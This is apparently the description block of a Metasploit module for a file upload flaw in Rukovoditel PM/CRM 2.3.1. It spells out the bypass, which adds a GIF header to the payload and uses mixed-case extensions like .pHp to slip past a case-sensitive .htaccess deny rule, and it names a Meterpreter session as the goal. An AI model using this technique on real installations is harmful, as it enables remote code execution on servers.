  'Description'=> %q{
  This module exploits a file upload vulnerability in Rukovoditel
  PM/CRM version 2.3.1.
  Application allows the user to upload a background image, and does
  not perform extension checking exactly.
  Application agrees to upload if "gif" file header is added to the
  header of our payload file.
  However, many file types do not have permission to work.
  ".htaccess" is blocking that.
  it has file extension check as follows,
  <FilesMatch "\.(php([0-9]|s)?|s?p?html|cgi|pl|exe)$">
  There is no upper and lower case control. Therefore, the extension
  of our file can be .pHp .Php .PhP and such.
  The module is uploading by create a payload as above to get
  Meterpreter session.
